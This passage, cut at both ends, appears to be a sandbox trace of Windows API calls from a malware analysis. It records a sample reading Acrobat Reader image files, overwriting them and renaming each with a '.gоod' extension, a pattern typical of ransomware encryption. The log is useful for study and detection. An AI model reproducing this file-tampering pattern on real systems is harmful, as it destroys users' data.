(dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0161.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.250] GetFileType (hFile=0x63c) returned 0x1 [0161.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0161.250] GetFileType (hFile=0x63c) returned 0x1 [0161.250] WriteFile (in: hFile=0x63c, lpBuffer=0x3576320*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x3576320*, lpNumberOfBytesWritten=0x1fdeae98*=0x470, lpOverlapped=0x0) returned 1 [0161.251] CloseHandle (hObject=0x63c) returned 1 [0161.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif", lpFilePart=0x0) returned 0x81 [0161.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif.gоod", lpFilePart=0x0) returned 0x86 [0161.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0161.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5c5323d9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0161.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0161.251] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif.gоod")) returned 1 [0161.252] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", lpFilePart=0x0) returned 0x7b [0161.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0161.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x3577718 | out: lpFileInformation=0x3577718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e)) returned 1 [0161.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0161.252] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", lpFilePart=0x0) returned 0x7b [0161.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.252] GetFileType (hFile=0x63c) returned 0x1 [0161.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.252] GetFileType (hFile=0x63c) returned 0x1 [0161.252] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0161.253] ReadFile (in: hFile=0x63c, lpBuffer=0x3577c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3577c20*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0161.255] CloseHandle (hObject=0x63c) returned 1 [0161.255] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", lpFilePart=0x0) returned 0x7b [0161.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.255] GetFileType (hFile=0x63c) returned 0x1 [0161.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.255] GetFileType (hFile=0x63c) returned 0x1 [0161.255] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x392e [0161.256] WriteFile (in: hFile=0x63c, lpBuffer=0x3578f30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3578f30*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0161.256] CloseHandle (hObject=0x63c) returned 1 [0161.256] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", lpFilePart=0x0) returned 0x7b [0161.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.257] GetFileType (hFile=0x63c) returned 0x1 [0161.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.257] GetFileType (hFile=0x63c) returned 0x1 [0161.257] ReadFile (in: hFile=0x63c, lpBuffer=0x357b268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x357b268*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0161.283] CloseHandle (hObject=0x63c) returned 1 [0161.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", lpFilePart=0x0) returned 0x7b [0161.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.283] GetFileType (hFile=0x63c) returned 0x1 [0161.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.283] GetFileType (hFile=0x63c) returned 0x1 [0161.283] WriteFile (in: hFile=0x63c, lpBuffer=0x3579f48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3579f48*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0161.284] CloseHandle (hObject=0x63c) returned 1 [0161.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif", lpFilePart=0x0) returned 0x7b [0161.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif.gоod", lpFilePart=0x0) returned 0x80 [0161.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0161.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5c57e8fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x393e)) returned 1 [0161.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0161.284] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif.gоod")) returned 1 [0161.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x7d [0161.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0161.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x35f78b8 | out: lpFileInformation=0x35f78b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b)) returned 1 [0161.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0161.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x7d [0161.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.285] GetFileType (hFile=0x63c) returned 0x1 [0161.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.285] GetFileType (hFile=0x63c) returned 0x1 [0161.286] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0161.286] ReadFile (in: hFile=0x63c, lpBuffer=0x35f7dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x35f7dd0*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0161.819] CloseHandle (hObject=0x63c) returned 1 [0161.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x7d [0161.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.819] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.819] GetFileType (hFile=0x63c) returned 0x1 [0161.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.819] GetFileType (hFile=0x63c) returned 0x1 [0161.819] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x927b [0161.820] WriteFile (in: hFile=0x63c, lpBuffer=0x36771b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x36771b0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0161.822] CloseHandle (hObject=0x63c) returned 1 [0161.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x7d [0161.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.823] GetFileType (hFile=0x63c) returned 0x1 [0161.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.823] GetFileType (hFile=0x63c) returned 0x1 [0161.823] ReadFile (in: hFile=0x63c, lpBuffer=0x36797c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x36797c0*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0161.860] CloseHandle (hObject=0x63c) returned 1 [0161.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x7d [0161.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.861] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.861] GetFileType (hFile=0x63c) returned 0x1 [0161.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.861] GetFileType (hFile=0x63c) returned 0x1 [0161.861] WriteFile (in: hFile=0x63c, lpBuffer=0x3678498*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3678498*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0161.861] CloseHandle (hObject=0x63c) returned 1 [0161.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif", lpFilePart=0x0) returned 0x7d [0161.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif.gоod", lpFilePart=0x0) returned 0x82 [0161.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0161.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5cb01d92, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x928b)) returned 1 [0161.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0161.862] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif.gоod")) returned 1 [0161.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x80 [0161.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0161.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), fInfoLevelId=0x0, lpFileInformation=0x36f5f08 | out: lpFileInformation=0x36f5f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30)) returned 1 [0161.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0161.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif", lpFilePart=0x0) returned 0x80 [0161.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0161.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0161.864] GetFileType (hFile=0x63c) returned 0x1 [0161.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0161.864] GetFileType (hFile=0x63c) returned 0x1 [0161.864] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0161.864] ReadFile (in: hFile=0x63c, lpBuffer=0x36f6440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x36f6440*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, 